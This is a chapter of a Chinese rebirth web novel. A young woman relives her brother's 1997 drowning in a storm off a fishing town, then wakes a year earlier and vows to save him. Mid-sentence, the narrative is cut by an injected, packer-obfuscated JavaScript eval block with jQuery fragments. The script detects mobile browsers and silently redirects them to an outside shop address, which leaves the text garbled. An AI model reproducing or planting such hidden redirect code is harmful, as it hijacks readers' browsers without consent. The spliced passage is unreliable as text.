林贝彻底需要自己洗衣服的那一年在1997，7月23号，陈立诚的忌日。
那天风大浪急，云层像吸饱了水的青布棉被，一团一团，谁也不知道什么时候拧一把水下来。
鱼价下午就涨了，但敢冒险的人不多，大部分镇民还是老老实实在家待着，还有外来的大船靠岸避险，烧烤店生意火热。
院子里充斥着各种吹嘘笑骂，林豪槠忙着烤串，陈三妹补充食材，陈立诚提着酒瓶子穿梭在各桌间，时不时跟熟客贫个嘴。
林贝是不用干活儿的。
她和表姐朝阳坐在院子边缘，人手一根冰棍，腿垂到悬崖外面，望着大海尽头的一线火烧云。
“你看我镯子好看吗？”朝阳举着手腕，眉眼间有些得意，“金的，我妈给我的嫁妆。”
林贝很捧场地点头，“好看。”
身后忽然一道气息靠近，她侧过头，看见一只晃动的海螺。
陈立诚抱着一箱啤酒，弯腰打量那只金镯子：“这只要多少钱？”
朝阳摇头，“不知道啊。”
他放下怀里的啤酒箱，上手掂了一下，仔细估摸了一下重量。
“干嘛啦，”林贝拉了拉他的衣摆，“我不要。”
陈立诚在她额头上轻轻一弹，“你还会说不要呢。”
林贝不满地鼓起脸，见他一头汗，把冰棍往他嘴边递了递。
陈立诚偏头咬了一口，搬起地上的啤酒箱，膝盖顶了一下，转头往客人那边去了。
林贝没想到就这么一段，短短的、平凡又寻常的对话，能要了她哥的命。
出海都是在凌晨，陈立诚出去的时候，她睡得正死，一点儿没察觉。
等外面雨大了，风哐哐拍门，她猛然从睡梦中惊醒，下意识就喊哥哥。
下铺没有应答。
外面有人喊：“码头塌了！”
林贝忙不迭从上铺翻下去，都没用上梯子，直接蹦的。
爸妈也已经醒了，提着手电筒出来，看着她问：“你哥呢？”
“我不知道啊，”林贝心中生出一个不妙的预感，惊恐地说，“他不会出海了吧！”
在镇上活久了，每个人身体里都会觉醒一个雷达，差不多的日子，就会有一道雷劈下来，规律是街坊邻里或自己亲戚的忌日。
但也有人会在雷达响动的时候出海。
因为风雨是说不准的，说来就来，说不来，可能阴一两天转晴了，或者只下个毛毛雨，翻倍的鱼价就在那里摆着，你不挣就看着别人发财，人为财死。
林贝冲到海边的时候，堤坝已经塌得不像样了，浪花像大海的利齿，一口一口扑啃岸上的碎石。
天是混沌的黑，边缘已经没有界限，乌沉沉的云团里憋着闷雷，时不时闪一道光，炸亮汹涌而来的白浪。
今天出去六条船，只回来一条，回来的船刚好和陈立诚那条船在同一片海域，救了几个回来，但没有陈立诚。
陈立诚那船上有个经验不足的年轻小伙，换船时没站稳，他下意识拉了一把，小伙儿爬回来了，自己从船上翻了下去。
一些艺高人胆大的长辈开始组织救援，眼下浪还不算特别大，这艘回来的船非常扎实，配上有经验的渔民，没准能救两个回来。
林贝浑身湿透，崩溃地闹着要上船，林豪槠使劲拉着她，手臂都被拽红了，一点儿不敢放松。
“别闹了！”
“我要去救我哥！”林贝尖利地喊了一声。
忽然，停在码头的船都朝一个方向倾斜，浪卷了过来，不过五秒的工夫，掀起二十几米高的水墙——
“后退！后退！”船老大嘶吼着往回跑。
暴雨里的人惊恐地后退，其实也退不了几步，“轰”的一声，水墙砸了下来，码头震荡崩裂。
船老大一个没站稳，往前一扑，浪咬住他的小腿，使劲往海里拖，幸好前面有人回头拽了一手。
惊魂一瞬间，林贝看见几片木板飞到了岸上，这是渔船的板。
一个浪，好几条渔船直接砸碎了，机动船对于黑崖镇的人来说非常昂贵，许多家庭半生的家当。
刚才还在组织救援的长辈顿时鸦雀无声，暴雨噼里啪啦往下砸，码头又塌下去一小片堤坝。
“爸……”林贝哆嗦着转过青白的脸，眼底藏着深深的恐惧，“爸，哥水性很好的……他可能还没死……”
林豪槠不忍地转过脸，眼眶也有些发红。
“别闹了！”陈三妹说，“这浪铁皮都能嚼碎了，你还要把你爸搭进去吗！”
“我看是不行了，”险些就上救援船的老渔夫脸色惨白地说，“回吧，哎……都说了大浪天别出去！”
林贝站在雨里，哭得撕心裂肺，所有镇民都沉默地听她悲泣。
大海一次一次朝他们张开冰冷深邃的巨口，大家一步步后退，只有她固执地站在原地。
林豪槠死死拽着她的两条胳膊，不给她任何往前跑的机会。
“哥哥！”
“哥哥……”
林贝想起往事，用尽全力抱住陈立诚，仿佛手一松，这个男人又会被大海拖走。
那场暴雨像刀子一样划开心脏，疼痛难忍，她承受不了过载的情绪，抵在宽厚的肩膀上，泄愤一般咬了一口。
陈立诚闷哼一声，抬头对陈三妹说：“姑，要不你们去忙吧，我跟贝贝聊聊。”
陈三妹和林豪槠看着崩溃的女儿，只觉得头皮发麻。
林贝午睡前完全不像要哭的，这醒过来，胡言乱语行为诡异就不说了，还哭成这个样子。
陈三妹担忧地说：“要不还是送到大奶奶那里看看？”
“先让阿诚问吧，不行就去找大奶奶，咱走，他俩好，他俩能说上话。”林豪槠把她拉了出去。
夫妻俩一步三回头地出了门，陈立诚揪了揪手里的麻花辫，“胃口见长啊，现在连哥哥都吃得下了？”
林贝一顿，吸了吸鼻子，悬在下巴上的泪坠了下去。
蜜色锁骨上留下了一圈青紫齿痕，门牙那块已经咬出血了，伤口很深。
陈立诚浑然不在意自己的伤，“告诉哥哥，到底发生了什么？是不是有人欺负你了？”
林贝沉浸在情绪爆炸的余震里，湿漉漉地看着那一圈齿痕，好半天才抬头，双眼难以聚焦：“哥，我好像做了个噩梦。”
陈立诚挑眉，“什么梦？”
“我……”林贝说，“我梦到你死了。”
陈立诚眼睛立马瞪起来了，“说什么呢，能不能盼我点儿好？”
林贝的手又在他衣服上抓紧了。
陈立诚能感受到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17789160|210305||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她的恐惧和颤栗，心一软，把她拥进怀里，“别瞎想，只是个梦而已，哥都好长时间没见过海盗了，很安全。”
“……真的吗？”
“废话，”陈立诚说完又有些纳闷，“你还能梦到我死了十一年？你这一觉睡得有够长的啊。”
林贝没说话，不住地呜咽。
她很清楚那十一年不是梦。
可现在也不会是梦，哥哥的胸膛这么鲜活，连心跳都可以听见。
她……
她好像是重生了。
“哥福大命大，不会死的，不许再做这种梦了，听到没有？”陈立诚双手捧起她的脸，很认真地跟她对视，“再梦到这种情节，立马想起我现在说的话——只是梦只是梦，醒过来醒过来，只是梦只是梦，醒过来醒过来……”
林贝笑了起来。
陈立诚擦掉她的眼泪，摸出一条手串，献宝似的晃晃，“看，哥哥给你做的，做了好长时间，喜不喜欢？”
模糊的水花里晃着一串白色贝壳，每只贝壳都是小指甲盖那么大，精挑细选，一定攒了很久。
这是她的东西。
这就是她的东西。
“喜欢……好喜欢。”林贝说。
那天朝阳问她镯子好不好看，她脑子里第一个冒出的念头就是，没有哥哥给她做的手串漂亮。
但是当着朝阳的面，她不好说，后来也没有特地告诉哥哥。
如果那天说了，哥哥是不是不会出海，后来的十一年，他们是不是能一直在一起？
这个拿命挣钱的人也会看见，那个繁华灿烂的盛世。
陈立诚戴到她手腕上，捏着她的手，郑重地说：“哥哥保证，每一次都会平安回来，我们不哭了，好不好？”
林贝低下头，看着腕上的手串，“你说的。”
“嗯，我说的，”陈立诚勾住她的小拇指晃了晃，“可以了吗？”
林贝点点头，抬起胳膊擦了擦眼睛。
“去洗把脸，哥带你买零食去。”陈立诚用额头敲了敲她的脑门。
林贝脑袋都哭晕了，头重脚轻，飘忽着出了房间。
挂历就在房间门口，有的日子画了圈，是陈立诚不在的日子，最后一个圈停在——1996，7月23日。
原来是忌日的一年前整。
这一年，她应该是……生日还没过，十六岁，开学就高二了。
林贝看向客厅。
台风之后，家里格局一直没有变动，包括后来，她升科主任，挣了钱，也没有重建。
黑崖镇07年就成了热门旅游景点，三妹烧烤是崖上不可或缺的景点之一，没到危房的程度不让拆。
但里面的装潢是变了的，刷了腻子粉，装了电器，换了新桌椅……扔了很多新世纪不需要的东西。
门边的渔具、窗台下的旧书桌、外婆留下的梳妆柜、煤油灯、缝纫机、台式风扇……
视线扫过一样样不起眼的物品，看得越多，这两天的记忆越清晰。
她甚至可以想起水杯里的水是自己饭前装的。
林贝确信自己是重生了。
不可能有这么真实、情绪这么强烈的梦。
她闭上眼，深吸一口气。
既然她已经成了变数，那么哥哥的命运也应该就此改变。